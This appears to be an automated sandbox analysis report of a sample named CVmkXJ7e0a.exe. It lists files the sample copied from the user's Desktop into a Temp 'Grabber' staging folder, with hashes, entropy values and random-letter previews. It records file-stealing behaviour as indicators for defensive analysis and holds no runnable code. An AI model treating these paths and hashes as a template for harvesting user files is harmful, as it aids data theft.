                                                                                                                                                                          Preview:BNAGMGSPLOQNKLVQWYYWYGDTNIHHPSGKYBNBNGFSZGYYFUVNSOYTAMZPOIOKMFFWDJIYCJGTWZSMXADBSJDEKDTPXDVYBIZFLSTFISYXAKAYQWPLDFAWXXNTSVHRLCINNTRJHMBFQAQBHFRSHDDRJZGIFSOFSRODXCWFIUZRXRQSOCPSXKXNEHLQYKIBJRTMMHJOIZSWESTHTXPULAPGLZHBOLMPQWYSWWOGRJQGYWDWWZMHZMTDMRWBSPIXHCFFOHTJSOAULKIFZVXPTYEBTBEXGQNBQAECQOJGHTKIAXUJLSLPBKTTRORROLNTKPDPOMSZBBLUYFRZXYZSVBGBEMGTACDCBJNXKAMZMCYEWGKSUENLKBJSZIPKQGYXMJTJXBELNVMAZHRUESZSTWROIUXLLMQPYLVQYLCOMOCGPSMJQGILSDDRUUXDRUCCVECNPLWHJLTHCPBZIKDUNRJMJIOQOCHVVNIQFFXFKFHTCVEEAXHTLJMWIUAWAMHGIGQCQJZGXBEDCRRZCNVYKCPWVJCRXIGXZYJENNARSZZREAOODIGZVBXFPAHTZNKNQHLNNETJICOVQGFLQSGSLCOYMPYDSGOPNUXAMCIJBJPJBAABYHKBKWCUAXUHNOCSSTHZYJXPLMFVJQAJDDSNEVXLRUYEQEKUKUIAOQAQJMNLHOUFLFUDMCWRNYNNLOACVSDXDNNBOGQOYGOZTWUOFZYLZQXJEGPQNQFLLILMQUJLCLUOOAOAQRCWMGKHGFJRPSFVQPCSCUDFVYSGDQIHJWSUDEAMVIANGMMFSJJTPNRYYSJYDFLUXJZGSYAAUHOEPMQIZZRSZDCXHRCIPUERSVKWEBDJCXEWWKPAHBVZESVEWPJTYRBKLHQRRPGDGQPGTNNFRMWNTGWIZDBPSGFQDFZWTVLRAOKRBHWFHBPZUBSCFBAMHEWXUIUXMKHPOCNYWNKSRYBQKSUWJLJRNBFNMTDBSZDXVFSLPDQEDCNYELVD

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Desktop\BNAGMGSPLO\DUUDTUBZFW.pdf

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.701195573484743
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:CXuIDWqLgX6vdVaxL46BNaYMbtbF+qEBHi7z/dd0Vc/6cUmeDs:ODHgX6vd0l4gnMbtbF+qEMPdNiTmcs
                                                                                                                                                                          MD5:2530C45A92F347020337052A8A7D7B00
                                                                                                                                                                          SHA1:7EB2D17587824A2ED8BA10D7C7B05E2180120498
                                                                                                                                                                          SHA-256:8BEAEA56B1D06BFFFE6142E95BC808FD28015E6A3FF32BC2FAC4C5A7552FC853
                                                                                                                                                                          SHA-512:78F4D4E93139D099D59F17867A6BB87A7DB92E1637A520B522A32DF14D18A39602F1C255C64C4C406BA45138294D9467850FEEA90C199D3434D60AE1C7F6B4DA
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:DUUDTUBZFWQODSNPWYYAIDZFECIUBQYLVGHZRZFDGGWVZPGQSHTPZANMRMNDUZLXCVYYIRRTMYEOTHOFJLCKQKOCQKNMRKZTHKIIPBKXIKLDAZFJGRVUHMDDXAMADOCGROYYDTNZZUEROBUVEGQEAZOMYVDGVHXUWCBVRBLFLWITRUFMXJJLQTZTWLOSFUMQDKRZDXVRLBYBKLXGLTGADROPECYTRYJQJWZDWJQHGRYFIQLJDBJUFPEPZLWGXGGDQGOLJCVZAPHJZOSIZQHISQFRJJGEZIJEFACYWHJRHAADQBMDQFJAGFBEZNQNGWDHSAAXOAEHIEHTAEPMOFJSOCRPTEUZGGSVYGVNUAYJPFNXFSYEEMDNDGDUBNXUOHVEJQBDRGSCASTDANAAFPQYQEHHTAOTYKYJJYXDZMUTBXBCIFNYSYWNMYAEEUEIGDANIBIJWTMCMGVDPOCAVEJZDTVMKOQPOOOKMLFWWMOASXZUZVHWZKPBVANJIBBDPCEKXDPEFNTXPTFJRBFUPHQCKMDMMXQPDZLJPURSOLPQREZLEFYXCGNKSFQRMLKDMGSNURCWGNTDQUIOYBPNJAYWOVTXRGROGVHNGIEDBYKUHNRBBDKYQXANPQWPKEOHDUBNRSQPALMLJEQFMXCQMEOAKBRREEJTYCHGUEGBGPJLGWRCLYLAKRESHJPMPCUHRFXHVUIQCQZYDTCNRGWVTYBMIILXIIIOGMHAQBLHFXCLTIKGXWDVRGSSRDNCYOVCLTUUEWRIDEOSWWZKTQLGLSIFPVAFJDGWVZYJUOVTMGGZMWUYOQYCLDNLMKWCJBKOXTWTPCMMIEYMISQTQCKMPNWJVAXPFISOGTRIMGKBHKEJOEDYIGOBOPVFADMXZUZQZVMUDYSPUHDXFZMAVPGIHURQNBZXXDWPSHUEZEFABRCKBUQLCPYBNGKJCWBTBSWMABCFIYQJOHFJJEPNNMRWWMNLOTWSMOXCILCCNICPDFTO

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Desktop\BNAGMGSPLO\EFOYFBOLXA.xlsx

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.696178193607948
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:/X8jyAbnZdGxzRopIIg0xlAqLR61W80Ic9ALjzEk1CceqZQ:gyYnjGxdKL8NlMAzEk0EK
                                                                                                                                                                          MD5:960ECA5919CC00E1B4542A6E039F413E
                                                                                                                                                                          SHA1:2079091F1BDF5B543413D549EF9C47C5269659BA
                                                                                                                                                                          SHA-256:A103755C416B99D910D0F9B374453FADF614C0C87307A63DB0591D47EBBD14F4
                                                                                                                                                                          SHA-512:57D6AD727BEB9ADB7DED05BC0FCE84B43570492DA4E7A0CCAB42FFF2D4EEF6410AEDC446F2D2F07D9CE524C4640B0FB6E13DCD819051E7B233B35F8672A5ADB7
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:EFOYFBOLXACUDYURQVAYVJXHJUGEEDPZADUOAPPOQQWQWQUHVVNJESQUUMLWZGSPUVGMFUNVUAJZVMUXELMWQMQASSSGGGJJGKEXZJITZCZHBFNFKPSAPJIYNYUGZHKNTNXKHXTBXQPWUVNOKJUTUOXNNMDSUPTQRWVDMMOHKVXWMJEBHSPNNEQFXTJSRJUQDTTDGEDEKBKLUEAXKKKWXKHTVKNTWBHTZOKZNDMJXKTTGHRNAWWIBUILXUMWZIMCXVXLGVWBIWAGGRITYGTHZCIUGGSPBVQPVSAMZBKHRKSRUKMYEZBGFASYOHNDHDAZICVMOQUNZQXFSSSWJJUJLOPCNSUDNPJGXSQCNLKWNAYAVAFMTSLCNOUBHQKHOIALXKEFDFFQBAGKRNRBIWVREZJOOFMLXAZTWLEAOZRHRBFSBONLILGVTOFKSPDKLHKEYWTXRPOWVHUMWWBBJNKSDDHCZCEZBDSJNMTTRGVZQVZUMECWAMCSNGCNYLUINFNXYCBEUKXUHVXAVTHIPURBBNFYVJTFMOLRZVAXLTLVSXETAIDBKHKCPFZAFQDPCXVFIVQQGEEICSHLCAYFSNSDHOELLSCZOGAAUENDMPCOCUFYZDMLPBNKDUGRDZRARSOMIJFRZRZUIHDMSAFFCNVKSOSQISTWGPAEHFMPZCCZNXMQBAWCBEUPECUJREOJQIHRSWCZZFJMFLJKICDWHXVLIXNXPRQGJYJUOGNEDHQPGFRLOHFADQRBTSXNGFAZNOZBJCPSPRRNIVIHFGIRZACAKFSLJETQMVKRUZJTTQSUXQEUOQNSNEMJADFUZUYAEXCLKPKWEYZNEOFNRPIUJKDSUTOXHDBKNTEVKKRRKWGOAZKYTICBSAEESHOCGXXGAWBZZLXBQCOVSSJALBIGTSKJTMZXGQLEURKHCIHHNDAYOKUXKAVYIWQFZVMPKEXXMPJUYHRWAIPFWTLCJRNQCRDENEBUALFGVEULSBFIKWOO

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Desktop\BNAGMGSPLO\EWZCVGNOWT.jpg

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.690071120548773
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:Hpi2eIMaeHmnj0AhtUkcnKCORSCQH8qvLrUo:Hs2e4njIkc6xQH8qvv5
                                                                                                                                                                          MD5:8F49644C9029260CF4D4802C90BA5CED
                                                                                                                                                                          SHA1:0A49DD925EF88BDEA0737A4151625525E247D315
                                                                                                                                                                          SHA-256:C666CACFDB412CE2BC653F9E2F19484DE94216D950F8C304D1F1F8ADD2EE32CE
                                                                                                                                                                          SHA-512:CA63EE1758AFE40FB8569FB3FF5A52BED8A593DC163F5F2462CEBFE1EA4F3F7AB4561435912279C4371944F7C63068D7474AB9F38492F34567E10E5188338C7E
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:EWZCVGNOWTCRGCAHGHIARWHBREQUWUMDZTEFKOZTBZKDHTGWOMOMXQJLCILTVOXJTWXEZRFVVOJJDUXCZNNWMUHQTYLHFYPOOBFJLGZGDSYZASNMWULDKVPIBSBESQVOBWTJCIQCCRZOQSMEFZAEOCFIPUXIHTROYFKQUTFSAUWBWISJHTVIQQEEIJVJHOBGZOPHDRBICMJCZJYKKJVLBUSHZHJSFDMYEGPBFRDSFIJIUADWYUWFSOFGQCFBFZHQMDWRKPFVNPDGQDAXYWPQENYPVCKPJTHAOXRLVMNFIOJBVFWANBCOTBENTFVQZCFBFDBMQUHCCCHMMQUOWSBCZYACVCNJFQKUCOMHGVNGGVDACUHMUYLJZQAKUNMISIRRZWDKBKSCPQEZJBHYOZZAXJVBHPFZNDXVHGWHNSVWMYZWRVIDTUCEOPZZRDVHTZKWHATLUHBDJSDWLCXQNXOWYUDQGZJKCAXDTIVXTBCQYHDKCAAFPJFSMAIFXPBWZRPFPKSDNBTLCMBJVBNHSANLTYRSVYQCPKAVQBYOUIOKJPCSLSZRHROXWWPPNZAAXTNVEINHTCLXLDMDBKYPOGMKCUIRVICNSACARZMRYFMXNDTHABPDGEHGCEAXGZZZNHYOCNFJZCIJNBBNBGAUMIROJJYSLPZARPCRZNPUZHXYZLDLXFPTCUWDLYNUMOSJWAOBYFOHEOOAGSALYXBYBYNOLNVRWYGBMDREEFNSPFBRMCNZKOZYEFYTGCMVSCLNGPIPBUDCPAMQEHOAUUBIQZZVXLYZWJOMBCITZXNLTEPYYRLUUAPJTGKEVKMNIMNQWNLLBUVLJOYGWJXXREBMWKGHQSRPNVJAECVNLXPVKWNPACZWFRCNSRBCRVPAPFJGUCNKUOOMSEURPZQJTKWTBOYFSFQOBHOUCLHWYMZMDGTXJBELWCWSQGBSNYBSEAJYTJCJQBKRUPJLBACULNATKEWAJTPTTOUKYDWVFZCDBMMO

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Desktop\BNAGMGSPLO\JDDHMPCDUJ.png

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.687055908915499
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:X3rfasg2Tpd/zBJY+q9FZP0DJR6BdqWD5gB8H36D6jXLiUk2ZTV:X+52L/dJYBjYJRoddD5C8HqD8ZDZTV
                                                                                                                                                                          MD5:94EDB575C55407C555A3F710DF2A8CB3
                                                                                                                                                                          SHA1:3AB8DF4B92C320D7D4C661EAB608E24B43F3DD13
                                                                                                                                                                          SHA-256:DD3A4A93D60E4B7840557A44DAAF77F6B6F85032C7DD5FB10BE54C07B0E1E261
                                                                                                                                                                          SHA-512:F8F78D10AE19735413AF11F0C8DAC41644479D345DC6B300412DEDA9779A01DDFC7150FBFD54F2582A0DF8524B7E507886DBC49E59B084320017E9E64FC8DBFA
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:JDDHMPCDUJFORBKGTIFQHFPQNEKFAIHGBDYZBWNZMVTSZXTGRUOCZPQRXMGXBNMAHGODCTVNAHQHZMJYIYXLTVDMEAVEXSWFQCDVPRSSLREITYMWHUXVVKLPJXQJOHYPAVYXSIMBBOTIWYDKNCDVKZZMEIFEDNNXHAHMYLPOUGNKMPZVDEQRUPZBQCKZDQINFECCUZINROAFGLIAMVWHXPPXOWZMWTITWBJFIENEHRXRHRPVUAIUAJUYDBBSQQMTJJXOAAMHVKJEOIQRSNKKQSGCHAUKUYPJEBZIGZTVKUXZEQOUSZPQBHKFHECDNFGTGIDHSJFVLAKZPDYVJVWECRIKKUCCFNNHBLBFCJEKSUZTITTTLQVOHKFHXFIIYDOZNAIBCDIRXJAYKHCOEXBOGSGEGGQEMHFXIZREOFZJSAFXTGSSZLVKYOANMZNPNESDZMFYWTZHIKUSMZXACWZEIMGTFRSZCGICPOSTZRECQYWZECQVLAWXESWPCDXLHIMJHSZJSDAXNXHETAWLZDXTZAPKBHSMKMYYGVSJCUIJSIFUHHMPIRBASPUOUXKKPQCECQBBZUSIXEOXLFFSQIFCTAIRASCMWEHFOXGEJRXFGJODUTKITHEAKFFJQTQNWWKXXDELWDHHEDWUTMSLXQJPVGOBKELYSRBQFYKXFHWGSCVLTCFKOEJMLUXIZVDPFHXHTSMTDRTVCNLISGJFVQRUTMZDYPUYBAEASZCSEUVHWRIQDEJIZQQHJNTIIICFMMPVLXOIVTPCTDKFPDVWXSBXZDXFUMBJTJMKOOHIMIOAKEJSIDIOJSRMRYXLDVGDBBYXARBNHXOXMBXYOTEFOAXRAUKXTWKYYGWNAHHCIIKQHYAETGBWABTEMJKNTEUQAWGHRIKDGGNHUIVVPPYPYTZERZKDPLUSIKPBDPJOCBYQJDEKAVQKHFTPBZJQOUCVBHAHZZGEXOCYGYDCZICBOETRSJSMVEZKINDRIKZYTUIS

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Desktop\DUUDTUBZFW.jpg

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.701195573484743
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:CXuIDWqLgX6vdVaxL46BNaYMbtbF+qEBHi7z/dd0Vc/6cUmeDs:ODHgX6vd0l4gnMbtbF+qEMPdNiTmcs
                                                                                                                                                                          MD5:2530C45A92F347020337052A8A7D7B00
                                                                                                                                                                          SHA1:7EB2D17587824A2ED8BA10D7C7B05E2180120498
                                                                                                                                                                          SHA-256:8BEAEA56B1D06BFFFE6142E95BC808FD28015E6A3FF32BC2FAC4C5A7552FC853
                                                                                                                                                                          SHA-512:78F4D4E93139D099D59F17867A6BB87A7DB92E1637A520B522A32DF14D18A39602F1C255C64C4C406BA45138294D9467850FEEA90C199D3434D60AE1C7F6B4DA
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:DUUDTUBZFWQODSNPWYYAIDZFECIUBQYLVGHZRZFDGGWVZPGQSHTPZANMRMNDUZLXCVYYIRRTMYEOTHOFJLCKQKOCQKNMRKZTHKIIPBKXIKLDAZFJGRVUHMDDXAMADOCGROYYDTNZZUEROBUVEGQEAZOMYVDGVHXUWCBVRBLFLWITRUFMXJJLQTZTWLOSFUMQDKRZDXVRLBYBKLXGLTGADROPECYTRYJQJWZDWJQHGRYFIQLJDBJUFPEPZLWGXGGDQGOLJCVZAPHJZOSIZQHISQFRJJGEZIJEFACYWHJRHAADQBMDQFJAGFBEZNQNGWDHSAAXOAEHIEHTAEPMOFJSOCRPTEUZGGSVYGVNUAYJPFNXFSYEEMDNDGDUBNXUOHVEJQBDRGSCASTDANAAFPQYQEHHTAOTYKYJJYXDZMUTBXBCIFNYSYWNMYAEEUEIGDANIBIJWTMCMGVDPOCAVEJZDTVMKOQPOOOKMLFWWMOASXZUZVHWZKPBVANJIBBDPCEKXDPEFNTXPTFJRBFUPHQCKMDMMXQPDZLJPURSOLPQREZLEFYXCGNKSFQRMLKDMGSNURCWGNTDQUIOYBPNJAYWOVTXRGROGVHNGIEDBYKUHNRBBDKYQXANPQWPKEOHDUBNRSQPALMLJEQFMXCQMEOAKBRREEJTYCHGUEGBGPJLGWRCLYLAKRESHJPMPCUHRFXHVUIQCQZYDTCNRGWVTYBMIILXIIIOGMHAQBLHFXCLTIKGXWDVRGSSRDNCYOVCLTUUEWRIDEOSWWZKTQLGLSIFPVAFJDGWVZYJUOVTMGGZMWUYOQYCLDNLMKWCJBKOXTWTPCMMIEYMISQTQCKMPNWJVAXPFISOGTRIMGKBHKEJOEDYIGOBOPVFADMXZUZQZVMUDYSPUHDXFZMAVPGIHURQNBZXXDWPSHUEZEFABRCKBUQLCPYBNGKJCWBTBSWMABCFIYQJOHFJJEPNNMRWWMNLOTWSMOXCILCCNICPDFTO

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Desktop\DUUDTUBZFW.pdf

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.701195573484743
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:CXuIDWqLgX6vdVaxL46BNaYMbtbF+qEBHi7z/dd0Vc/6cUmeDs:ODHgX6vd0l4gnMbtbF+qEMPdNiTmcs
                                                                                                                                                                          MD5:2530C45A92F347020337052A8A7D7B00
                                                                                                                                                                          SHA1:7EB2D17587824A2ED8BA10D7C7B05E2180120498
                                                                                                                                                                          SHA-256:8BEAEA56B1D06BFFFE6142E95BC808FD28015E6A3FF32BC2FAC4C5A7552FC853
                                                                                                                                                                          SHA-512:78F4D4E93139D099D59F17867A6BB87A7DB92E1637A520B522A32DF14D18A39602F1C255C64C4C406BA45138294D9467850FEEA90C199D3434D60AE1C7F6B4DA
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:DUUDTUBZFWQODSNPWYYAIDZFECIUBQYLVGHZRZFDGGWVZPGQSHTPZANMRMNDUZLXCVYYIRRTMYEOTHOFJLCKQKOCQKNMRKZTHKIIPBKXIKLDAZFJGRVUHMDDXAMADOCGROYYDTNZZUEROBUVEGQEAZOMYVDGVHXUWCBVRBLFLWITRUFMXJJLQTZTWLOSFUMQDKRZDXVRLBYBKLXGLTGADROPECYTRYJQJWZDWJQHGRYFIQLJDBJUFPEPZLWGXGGDQGOLJCVZAPHJZOSIZQHISQFRJJGEZIJEFACYWHJRHAADQBMDQFJAGFBEZNQNGWDHSAAXOAEHIEHTAEPMOFJSOCRPTEUZGGSVYGVNUAYJPFNXFSYEEMDNDGDUBNXUOHVEJQBDRGSCASTDANAAFPQYQEHHTAOTYKYJJYXDZMUTBXBCIFNYSYWNMYAEEUEIGDANIBIJWTMCMGVDPOCAVEJZDTVMKOQPOOOKMLFWWMOASXZUZVHWZKPBVANJIBBDPCEKXDPEFNTXPTFJRBFUPHQCKMDMMXQPDZLJPURSOLPQREZLEFYXCGNKSFQRMLKDMGSNURCWGNTDQUIOYBPNJAYWOVTXRGROGVHNGIEDBYKUHNRBBDKYQXANPQWPKEOHDUBNRSQPALMLJEQFMXCQMEOAKBRREEJTYCHGUEGBGPJLGWRCLYLAKRESHJPMPCUHRFXHVUIQCQZYDTCNRGWVTYBMIILXIIIOGMHAQBLHFXCLTIKGXWDVRGSSRDNCYOVCLTUUEWRIDEOSWWZKTQLGLSIFPVAFJDGWVZYJUOVTMGGZMWUYOQYCLDNLMKWCJBKOXTWTPCMMIEYMISQTQCKMPNWJVAXPFISOGTRIMGKBHKEJOEDYIGOBOPVFADMXZUZQZVMUDYSPUHDXFZMAVPGIHURQNBZXXDWPSHUEZEFABRCKBUQLCPYBNGKJCWBTBSWMABCFIYQJOHFJJEPNNMRWWMNLOTWSMOXCILCCNICPDFTO

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Desktop\EEGWXUHVUG.pdf

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.690299109915258
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:0C2jKPS/GeHBPaNDdBKW/PXAx+sTTqBVw8tk7LI/csnfv:UWKPaNjKW/PwxfTixkY/cSfv
                                                                                                                                                                          MD5:F0D9DE697149ECBC1D88C7EA4841E5BD
                                                                                                                                                                          SHA1:06A2A47C12B3554397AA0C8F483411CAB366947D
                                                                                                                                                                          SHA-256:5BE0708B77E41FC490ECEC9CDFF20C9479FC857E47CC276D6F68C0895EA68FB2
                                                                                                                                                                          SHA-512:E9953E00241C3FB48E267F1A49E2C53FEE4240415C7A48FAD089742C6C4AA1C5A9CCFEE616FC91EB29C1C8252A3095163A515ABA96A1F0B41A8B129929696917
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:EEGWXUHVUGUAGDCAESAKQJADEXSKGQOTKSMYVIQMWCXKMREFNGUJHWRPPFJWEQHLMDSTAHLHBQSXLRGVYEPBLZILRXLTPZSELULGEDFWQHJHNIHNCTGEIAAPQHNOFANJGPRIYVQSOFCGDPFBTNYILXIPYTWVOYXFUCEEQWZRPXFERZCPKKZAHOYWHFAYDMSXERUPTEZISMPADRFDIWGTWAXETEOPJYWDNGCDFFZUXZZSPZVIILCQXOFDOGUOSZYPXXVLSNAWWPHQGNSYQXOUOGPFDMDNPFUONUSGUOUKYHHGHFFZYEDSZVDRUEJKGSHEMJARIAEZZDBZJFCMNUJIHQFHGDONGFEZRYCZYIAOXAXGWENMTPOKNMZPJSZVCDZRZPFIIYHXITKZBLAJXANTSBCWIGABZKBTKDJRSTSKYORPMNGHCZWCLOVFPZBMYKBYDRXMFUQJDNWZFCVEOXPGJMBQZRUEOTLHEFHKDZLVFBXLUSXRAXKVLWGOWARAQZHIMTYBWKPLWNJFMLQVXGRMIGEIPZEIFBYZRYNEEZHFMFOGMBEWLJPBXWVYHVEUKSKVKINVMDJKCSAOUXTMIHLOJXLTEKLKJDYABXRPKNGFOXISIFXHABTYQIPUCFNIJWNCTAFGYEIBCCNXPZQAGPHNNRICKSKCXWERLWTFSJWUSCBTVWSYUVWXJQHMSZYHAHYELYFPIBFZETDRPQBQHKMCXRRCAEYFIERXQZVCDZZBPQJJDQUDHKPMDBXPEBPFURYAPUWVWVJRWXHFXQGMVUGOILYXGFSMEFMKLBFACOSIKHHXRBRGYVIVAOTFNIIOQUZTHBZGOGPVUVYSYNHRKOADWYTLCNTHHCZYXXGFCXMFHZBZBCCMTYSROXNAHKABYAXPWRNKHCJYLAMQAUZBVJWHFXISFSKFXGFPDIOTITGPUETUYHRIXQOTIGEVDQWEBJVPDIUZVQFUBWREJIPSNXDGEKXKULZFHZQHQXPMBIYA

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Desktop\EEGWXUHVUG.xlsx

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.690299109915258
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:0C2jKPS/GeHBPaNDdBKW/PXAx+sTTqBVw8tk7LI/csnfv:UWKPaNjKW/PwxfTixkY/cSfv
                                                                                                                                                                          MD5:F0D9DE697149ECBC1D88C7EA4841E5BD
                                                                                                                                                                          SHA1:06A2A47C12B3554397AA0C8F483411CAB366947D
                                                                                                                                                                          SHA-256:5BE0708B77E41FC490ECEC9CDFF20C9479FC857E47CC276D6F68C0895EA68FB2
                                                                                                                                                                          SHA-512:E9953E00241C3FB48E267F1A49E2C53FEE4240415C7A48FAD089742C6C4AA1C5A9CCFEE616FC91EB29C1C8252A3095163A515ABA96A1F0B41A8B129929696917
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:EEGWXUHVUGUAGDCAESAKQJADEXSKGQOTKSMYVIQMWCXKMREFNGUJHWRPPFJWEQHLMDSTAHLHBQSXLRGVYEPBLZILRXLTPZSELULGEDFWQHJHNIHNCTGEIAAPQHNOFANJGPRIYVQSOFCGDPFBTNYILXIPYTWVOYXFUCEEQWZRPXFERZCPKKZAHOYWHFAYDMSXERUPTEZISMPADRFDIWGTWAXETEOPJYWDNGCDFFZUXZZSPZVIILCQXOFDOGUOSZYPXXVLSNAWWPHQGNSYQXOUOGPFDMDNPFUONUSGUOUKYHHGHFFZYEDSZVDRUEJKGSHEMJARIAEZZDBZJFCMNUJIHQFHGDONGFEZRYCZYIAOXAXGWENMTPOKNMZPJSZVCDZRZPFIIYHXITKZBLAJXANTSBCWIGABZKBTKDJRSTSKYORPMNGHCZWCLOVFPZBMYKBYDRXMFUQJDNWZFCVEOXPGJMBQZRUEOTLHEFHKDZLVFBXLUSXRAXKVLWGOWARAQZHIMTYBWKPLWNJFMLQVXGRMIGEIPZEIFBYZRYNEEZHFMFOGMBEWLJPBXWVYHVEUKSKVKINVMDJKCSAOUXTMIHLOJXLTEKLKJDYABXRPKNGFOXISIFXHABTYQIPUCFNIJWNCTAFGYEIBCCNXPZQAGPHNNRICKSKCXWERLWTFSJWUSCBTVWSYUVWXJQHMSZYHAHYELYFPIBFZETDRPQBQHKMCXRRCAEYFIERXQZVCDZZBPQJJDQUDHKPMDBXPEBPFURYAPUWVWVJRWXHFXQGMVUGOILYXGFSMEFMKLBFACOSIKHHXRBRGYVIVAOTFNIIOQUZTHBZGOGPVUVYSYNHRKOADWYTLCNTHHCZYXXGFCXMFHZBZBCCMTYSROXNAHKABYAXPWRNKHCJYLAMQAUZBVJWHFXISFSKFXGFPDIOTITGPUETUYHRIXQOTIGEVDQWEBJVPDIUZVQFUBWREJIPSNXDGEKXKULZFHZQHQXPMBIYA

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Desktop\EFOYFBOLXA.jpg

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.696178193607948
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:/X8jyAbnZdGxzRopIIg0xlAqLR61W80Ic9ALjzEk1CceqZQ:gyYnjGxdKL8NlMAzEk0EK
                                                                                                                                                                          MD5:960ECA5919CC00E1B4542A6E039F413E
                                                                                                                                                                          SHA1:2079091F1BDF5B543413D549EF9C47C5269659BA
                                                                                                                                                                          SHA-256:A103755C416B99D910D0F9B374453FADF614C0C87307A63DB0591D47EBBD14F4
                                                                                                                                                                          SHA-512:57D6AD727BEB9ADB7DED05BC0FCE84B43570492DA4E7A0CCAB42FFF2D4EEF6410AEDC446F2D2F07D9CE524C4640B0FB6E13DCD819051E7B233B35F8672A5ADB7
                                                                                                                                                                          Malicious:false
